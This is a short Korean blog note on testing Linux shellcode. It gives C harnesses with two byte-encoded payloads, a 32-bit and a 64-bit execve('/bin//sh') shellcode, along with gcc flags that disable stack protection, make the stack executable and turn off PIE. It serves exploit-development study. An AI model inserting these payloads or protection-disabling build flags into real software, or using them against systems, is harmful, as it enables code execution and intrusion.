Linux

리눅스용 shellcode 테스트용 코드

출처는 https://gist.github.com/securitytube/5318838


#include<stdio.h>

#include<string.h>



unsigned char code[] = 
"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";



main()

{



  printf("Shellcode Length:  %d\n", strlen(code));



	int (*ret)() = (int(*)())code;



	ret();



}

컴파일할때


32비트 운영체제에서는 


gcc -o shell shell.c 로 해도 되지만, 세그먼트 오류가 발생할 경우는



gcc -o shell shell.c -fno-stack-protector -z execstack -no-pie


로 컴파일해준다


64비트 운영체제에서는 


gcc -o shell shell.c -fno-stack-protector -z execstack -no-pie -m32 


로 맨 끝에 -m32 옵션을 추가해주자. 


간혹 컴파일시 -no-pie 옵션을 찾을 수 없다는 gcc 오류가 발생할수도 있는데, 해당 옵션 제외하고 컴파일 해주면 된다.

64비트 쉘코드도 다음번에 해봐야지..


내용추가

64비트 환경에서는 아래와 같이 진행한다.


char shellcode[] = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05";

void  main()

{

        void(*shell)() = (void *)shellcode;    

 

        shell();

}


컴파일 옵션은 gcc -o shell shell.c -fno-stack-protector -z execstack -no-pie 로 동일하게 주면 됨.